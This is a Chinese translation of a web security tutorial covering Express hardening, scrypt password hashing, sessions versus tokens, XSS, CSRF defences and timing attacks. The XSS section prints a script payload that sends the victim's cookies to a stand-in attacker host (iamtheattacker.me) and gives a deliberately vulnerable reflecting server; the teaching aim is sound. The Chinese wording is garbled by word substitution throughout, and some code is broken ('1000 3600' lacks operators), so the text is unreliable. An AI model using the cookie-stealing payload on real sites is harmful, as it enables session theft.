本文最初发布于 Bits and Pieces 博客。
去年年底,我在申请前端和全栈职位时经历了一些编码寻衅。虽然细节上有些差别,但任务的紧张内容是一样的。令我高兴的是,我确实已经学到了不少东西。在这里,我的目的是记录我在安全方面得到的新知识。
本文紧张涵盖了以下内容:

设置:为 Web 运用程序的安全奠定根本。密码:保存秘密。身份验证:会话、令牌以及它们的优缺陷。漏洞:XSS、CSRF 等,以及如何缓解。
由于我紧张从事前端和全栈开拓事情,以是这些例子都是用 TypeScript 编写的。当然,这些观点是措辞无关的。
设置让我们创建一个可靠的 Express 代码库作为构建根本。
HTTPS2022 年了,要利用传输层安全(TLS)。免费的,这个安全层可以确保你的网站免受中间人攻击、窃听和修改。你唯一须要的是一个证书。
对付本地开拓,要么创建一个自署名证书,要么利用lvh.me,后者唯一的事情是将任何要求反射到你自己的localhost(对付子域名特殊方便)。
当你将运用程序托管在外时,所有当代化的做事——Vercel、Netlify、Heroku——都会帮你处理证书。如果你创造自己须要一个证书,Let's Encrypt会帮到你,而且是免费的。
报头(Headers)Express官方建议,利用 Helmet 对报头做恰当的设置,以戒备众所周知的 Web 漏洞。
值得把稳的是,Helmet 禁用了x-powered-by(那个透露运用程序引擎的头字段),启用了 HSTS(见告浏览器优先选择 HTTPS),并禁用了 MIME 类型嗅探(这很危险,例如,当你正在加载一个文本文件,但你的浏览器认为它是text/javascript)。如果你想理解所有的细节,可以看看Helmet的默认设置。这确实让人觉得很合理。
因此,Express 做事器的基本代码可能会是下面这个样子:
import express from "express";import fs from "fs";import helmet from "helmet";import https from "https";import path from "path";const app = express();// 避免手动调度CSP、HSTS、X-Powered-By、MIME-sniffing等;尽可能设置最严格的CSP。app.use(helmet({ contentSecurityPolicy: { directives: { defaultSrc: "'self'" } } }));app.use(express.json());const client = path.resolve(__dirname, "../build");if (fs.existsSync(client)) app.use(express.static(client));app.get("/healthz", (_, res) => { res.send({ message: "We're live " }); });const httpsOptions = {key: fs.readFileSync(path.join(__dirname, "./tls/cert.key")),cert: fs.readFileSync(path.join(__dirname, "./tls/cert.pem")),};const portHttps = process.env.PORT_HTTPS || 8080;https.createServer(httpsOptions, app).listen(portHttps, async () => {console.log(`HTTPS server listening at ${portHttps}`); // eslint-disable-line no-console});
复制代码
利用 Helmet 和 TLS 的 Express 基本设置(代码来源:GitHub,文件:fullstack-security-server.ts)
密码用户存储安全的根本是保护用户密码。让我们通过以下选项,一步一步地进行优化:
如果你用明文存储用户密码,那么如果有人访问了你的数据库,所有用户账号就泄露了。这可不好。让我们对密码进行哈希。这轻微好一点,但如果攻击者手头有一个彩虹表( rainbow table)——一个将普通字符串映射到其哈希值的表——那么将哈希值转换为普通字符串便是一个非常大略的问题了。一旦我们在哈希值中加了盐,情形就会大大改进。(加盐是在每个密码中加入一个秘密的随机字符串。)除非攻击者得到了你的做事器的访问权——这时,抵抗已是徒劳——创造了你的盐罐,并为该特定的盐打算一个彩虹表,否则他们无法将数据库中的哈希值翻译成普通字符串。然而,有一个极度情形。如果 Elsa 的密码恰好与 Anna 的密码相同,那么它们将映射到相同的哈希值。这彷佛可以接管,但如果你希望以为自己是个专家呢?你可以为每个用户利用不同的盐。当然,你须要把盐和哈希值放在一起,这样你就可以验证登录时发送的凭据,这没什么。渐入佳境!
如果攻击者有机会得到一些令人印象深刻的打算能力呢?这时,密钥衍生函数就可以发挥浸染了。这些函数实现了密钥扩展,它们吸收一个(可能很弱的)口令,并故意使其散列值打算变得昂贵,也便是说,使蛮力不那么有用。pbkdf2 和scrypt 便是这样的两个函数。
详细来说,你可以利用 Node.js 特有的crypto.scrypt(password, salt, 64)来打算密码哈希值(64 个字符长度),并在每个用户的记录中将saltsalt和password一起保存。请把稳,scrypt实际上在内部利用了pbkdf2,但对打算哈希值所需的内存有更高的哀求,进一步降落了暴力攻击的回报率。
身份验证如果你没有登录,或者目前没有提交敏感信息,就没有什么遭受攻击的危险。只有当你访问一个做事并进行认证时,事情才会变得有趣起来。
让我们回顾一下用户身份验证的常见办法:会话和令牌。
(把稳:我们用crypto.randomBytes(64).toString("hex") 天生随机字符串。)
Cookie 中的会话Cookie 是在做事器上创建并存储在用户设备(常日是浏览器)上的小数据块。
它们的紧张特点是,一旦创建,就会随着特定域名的所有要求在客户端和做事器之间通报,而你不须要为此做任何事情。标准的会话流程相称大略:
提交证书。在做事器上创建一个随机的sessionId ,将其保存在数据库中,并在 Cookie 中发送回来。然后,浏览器在随后的要求中自动包括上述 Cookie,使做事器能够验证要求是否与它们声称的一样。令牌你可能已经用过 JWT,但在基于令牌的身份验证中,令牌可以是任何东西,只要能够验证是你的做事器发出的就可以。换句话说,它须要一个可信赖的署名。
由于这种方法没有利用任何标准机制(像 Cookie 那样),以是要由客户端来确保令牌在所有身份验证要求中都存在。因此,流程类似下面这样:
提交证书。在做事器上创建一个经由署名的令牌,并发回客户端。将令牌保存在客户端,常日是本地存储中。手动将令牌附加到未来的要求上。会话 vs. 令牌
以下是会话与令牌的紧张差异:
存储:sessionId同时存储在做事器(数据库)和客户端(Cookie)。令牌只存储在客户端,使其在某种程度上是无状态的。验证:当验证 Cookie 中的sessionId时,你须要查询数据库。对付令牌,你只需验证令牌的署名。多域:实质上讲,Cookie 只在单个域中可用。由于令牌是手工添加的,你可以把它们发送到任何目的地。这使得它们在跨域的情形下胜出。此外,如你所见,利用令牌,你就不须要考虑数据库查询了。撤销:由于会话可以在做事器上删除,以是你可以集中撤销。而令牌必须在客户端删除。如果你须要“在所有设备上签出”这种有吸引力的功能,那么会话是一个更好的选择。当用户重设密码或他们的账户被透露时,情形也是如此。(对付令牌,你可以添加一个禁止表,列出下次不应接管其令牌的用户,但这样一来,无状态的好处也就不存在了......)漏洞:由于 Cookie 是由浏览器自动包含进去的,以是会话随意马虎受到 CSRF 的影响。由于令牌常日存在于本地存储中,以是它们更随意马虎被 XSS 盗取。关于 CSRF 和 XSS,下面有更详细的先容。
(把稳:理论上,你也可以把令牌存储在 Cookie 中。然而,在我看来,这有点违背初衷,由于随意马虎受到 CSRF 影响就成了一个问题,跨域上风也荡然无存。此外,JWT 比sessionId 大得多,把它们存储在 Cookie 中增加了开销。)
如果你想要更深入的理解下,那么可以看敕令牌支持者的情由,以及会话&Cookie支持者的情由。
常见漏洞由于我们有一台正在运行的做事器,我们知道如何保护用户的信息,并且可以利用我们的做事对人进行身份验证,以是我们终极还是随意马虎受到一些常见漏洞的影响。
(把稳:我在这里只先容下 XSS 和 CSRF,但还有许多其他的漏洞。对付初学者,我建议你看下OWASP供应的这份清单。)
跨站脚本攻击(XSS)很大略,XSS 便是代码注入。其紧张思想是第三方可以在你的网站上实行他们不应该实行的代码。
注入示例如果你有一个搜索字段。在表单提交时,用户被重定向到/?search=whatever,并且search参数的内容显示在结果上方。这可以提醒用户他们搜索了什么,这样的 UI 是合理的,对吧?
不过,我发给你的链接可能包含/?search=<script>alert('booh!')</script> ,如果网站没有对查询参数做转义,就会看到一个告警窗口。
好吧,如果你已经登录谷歌,我向你发送了一个链接,个中包含/?search=<script>new Image().src=”https://iamtheattacker.me/steal?session="%2bencodeURI(document.Cookie);</script> 呢?
你的浏览器将要求iamtheattacker.me 域名下指定的 URL,我就可以把你 Cookie(或本地存储)中的所有内容都获取到我做事器的日志中。这样,不管出于何种目的,我就可以伪装成你。
const http = require("http");const url = require("url");http.createServer(function (req, res) {const params = url.parse(req.url, true).query;res.write(`<html>Searching for <strong>${params.search}</strong>.<br/>Results: ...</html>`);res.end();}).listen(8080);
复制代码
一个大略的做事,演示 XSS 的机制(代码来源:GitHub,文件:fullstack-security-xss.js)
如果你想自己试一试,以上是这种情形最大略的代码。你可以将上述有害的查询粘贴到这里。在开拓工具的Network选项卡中,你会找到对外部域的灾害性要求。
我们上面看到的称为反射 XSS。还有其他类型,如存储 XSS,它是通过存储有害的东西(如在用户的帖子或评论中)来发起攻击。不过,机制是完备相同的。
你该当为此担心吗?现如今,你必须不遗余力地去做这些屈曲的事情。好在所有的当代化工具都在后台为你做了大量的规避事情,有工具帮助你验证用户输入,还有详细的手册辅导你创造可能仍旧存在的漏洞。
然而,常日情形下,当代运用程序有大量的外部依赖——想想npm——它们中的任何一个都可能会试图盗取敏感的浏览器数据,用与上述例子中注入代码完备相同的办法。由于你的客户端依赖可以访问本地域中的统统,恰如你自己的代码一样,以是你该当对所依赖的东西保持谨慎。
Cookie vs. 令牌默认情形下,客户端代码可以访问和你域名干系的 Cookie 和令牌。
对付令牌,这很难处理。由于须要手动将 JWT 放在Authorization头中,以是你不能真的谢绝自己的代码——以及与之干系的任何第三方代码——访问它。因此,你该当绝对确保永久不会运行恶意代码;一旦这样做了,你就成了他们的金矿。
基于 Cookie 的认证在这方面轻微好一些。你的代码不须要操作sessionId Cookie,由于浏览器和做事器在交流数据时会自动将其包含进去。出于这个缘故原由,你可以通过将其httpOnly参数设置为true来禁止 JS 访问该 Cookie。这使得它不会被任何第三方挟制。
跨站要求假造(CSRF)CSRF,常日读作 sea-surf,是一种操纵用户向他们目前已认证通过的运用程序提交非预期要求的攻击。
CSRF 示例Sherlock 登录了他的银行,然后收到了 Moriarty 向他发送的一封包含链接/transfer?amount=5000&to=moriarty-1234的钓鱼邮件 。在收到这样的要求后,这家以大略为傲的银行会从已认证用户的账户中提取参数中的金额,并将其转给moriarty-1234。
当心不在焉的 Sherlock 点击这个链接时,他的浏览器发送了一个 Cookie,表明这便是他,而银行也非常高兴地应答了。Moriarty 赢得了这场战斗。
"这太猖獗了!
“你说得对。当然,没有人会在GET要求中变动状态。如果你把它设置为POST,邮件中的链接将不中兴浸染。但是,如果 Moriarty 做了一个令人信服的钓鱼网站,上面有一个action指向/transfer并随适当的body 一起发送的表单,那么我们就又回到了原点。在提交表格时,Sherlock 的浏览器会发送一个 Cookie 来证明他的身份,然后银行就会给 Moriarty 转账。妖怪又赢了。
正如你在上一节中所看到的,CSRF 的危险在于认证信息被受害者的浏览器自动包含在要求中,没有任何的代码滋扰。由于令牌不存在这样的行为,基于令牌的认证不随意马虎发生 CSRF。而另一方面,基于 Cookie 的认证则非常随意马虎涌现这种情形。
如何缓解?下面是预防 CSRF 的一个策略组合:
将用户认证 Cookie 的sameSite属性设置为lax。这可以防止它在跨站要求中被发送,但“安全”(不修正状态)的GET和HEAD除外。换句话说,上述示例中的链接仍旧可以事情,但表单就不能。至少在所有状态变动要求上禁用CORS。这样,第三方表单就不能提交到你的端点。(在 Express 中,cors默认是禁用的。但是,你有多少次看到有人在全体 API 中利用app.use(cors())来启用它?在我看来这太大略了。)在你的 API 要求中逼迫利用content-type: application/json,方法是在做事器上仔细检讨报头。
const api = express.Router();// 在所有api端点上逼迫利用内容类型“application/json”api.use((req, res, next) => {if (req.headers["content-type"] !== "application/json") {res.status(400).json({ message: "Invalid content type." });} else {next();}});
复制代码
(代码来源:GitHub,文件:fullstack-security-content-type.ts)
以上组合该当够用了。如果你想真的提交,则可以借助 CSRF 令牌。那做起来也很大略,真的。
CSRF 令牌让做事器为每一个做事于 App 的相应附加一个随机的csrf令牌,并将其sameSite属性设置为strict,这意味着客户端将只包含源于这里的要求。
当发出敏感要求时,比如提交一个表单,让客户端在要求中包含这个来自csrf Cookie 的令牌,常日是在x-csrf-token头中。然后,做事器可以通过检讨报头值与csrf Cookie 的值是否匹配来确保要求的有效性。
// 在供应运用做事时res.Cookie("xCsrfToken", generateToken(), { maxAge: 1000 3600, sameSite: "strict" });// 在客户端fetch(url, {headers: {"content-type": "application/json","x-csrf-token": getCookie("xCsrfToken") ?? "",},});// 在易受影响的端点if (!req.headers["x-csrf-token"] || req.headers["x-csrf-token"] !== req.Cookie["xCsrfToken"]) {return res.status(400).json({ message: "Invalid CSRF token." });
复制代码
(代码来源:GitHub,文件:fullstack-security-csrf.ts)
时序攻击让我们好好找点事做。
下面代码的实现细节并不主要。你能找到一种方法来网络有关用户是否拥有账户的信息吗?
import express from "express";const authApi = express.Router();authApi.post("/session", async (req, res) => {const params: { email: string; password: string } = req.body;if (!req.headers["x-csrf-token"] || req.headers["x-csrf-token"] !== req.Cookie["xCsrfToken"]) {return res.status(400).json({ message: "Invalid CSRF token." });}const user = Users.findByEmail(params.email);if (!user || !Users.verifyPassword(params.password, user)) {return res.status(401).json({ message: "Invalid credentials." });}const sessionId = generateToken();res.Cookie("sessionId", sessionId, { httpOnly: true, maxAge: 1000 3600 24, sameSite: "lax" });Sessions.add({ sessionId, userEmail: user.email });const response: ApiSessionRes = { email: user.email, name: user.name };res.status(200).json(response);});authApi.delete("/session", async (req, res) => {if (req.Cookie["sessionId"]) Sessions.remove(req.Cookie["sessionId"]);res.clearCookie("sessionId");res.status(200).json({ message: "Signed out." });});export { authApi };
复制代码
(代码来源:GitHub,文件:fullstack-security-auth.ts)
我没有创造这段代码有任何问题,乃至第三次看也没。然而,如果你用大量的要求轰击做事器并并计时,该当就会创造,对付不存在的用户,API 相应得更快一些。
为什么?第 20 行的条件须要较长的韶光来评估现有帐户。以下代码——为Invalid credentials 相应添加一个随机延迟——该当可以减轻这种吹毛求疵的信息泄露:
const user = Users.findByEmail(params.email);if (!user || !Users.verifyPassword(params.password, user)) {await new Promise((resolve) => setTimeout(resolve, crypto.randomInt(11, 111))); // 缓解时序攻击return res.status(401).json({ message: "Invalid credentials." });}
复制代码
(代码来源:GitHub,文件:fullstack-security-auth-timing.ts)
这里我要提一下,在这个实现中,比较字符串也会让攻击者预测出一些他们不应该知道的信息。可以利用 Node.js 供应的类似crypto.timingSafeEquals这样的东西。
本日就到这里。希望你喜好这篇文章,并学到了一些新东西。
查看英文原文:What You Should Know About Web Security